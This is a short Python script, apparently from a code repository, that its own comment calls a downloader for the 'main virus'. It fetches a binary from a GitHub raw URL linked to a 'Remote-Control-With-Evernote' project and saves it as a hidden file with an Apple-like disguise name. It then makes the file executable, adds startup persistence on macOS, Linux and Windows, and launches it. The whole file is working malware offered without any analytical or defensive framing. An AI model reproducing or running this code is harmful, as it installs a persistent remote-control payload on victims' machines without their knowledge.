blob: fa73c62487c66396013fd57ac7a010814bb4218c (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
from requests import get
from os.path import expanduser
from os import remove
from subprocess import Popen as subproc
from os import system
from sys import platform
filename = "com.apple.com.user.core"
localfile = f"{expanduser('~')}/.{filename}"
# download main virus
open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content)
system(f"chmod 555 {localfile}")
if platform == "darwin":
system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null")
elif platform == "linux":
from os import environ
if 'zsh' in environ['SHELL']:
system(f"echo {localfile} >> {expanduser('~')}/.zshenv")
elif 'bash' in environ['SHELL']:
system(f"echo {localfile} >> {expanduser('~')}/.bashenv")
elif platform == "win32":
from shutil import copy
copy(localfile ,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")
subproc([localfile])
|